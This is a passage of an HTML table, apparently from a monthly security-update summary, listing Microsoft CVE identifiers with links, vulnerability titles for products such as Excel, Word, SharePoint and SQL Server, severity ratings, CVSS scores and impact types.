  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
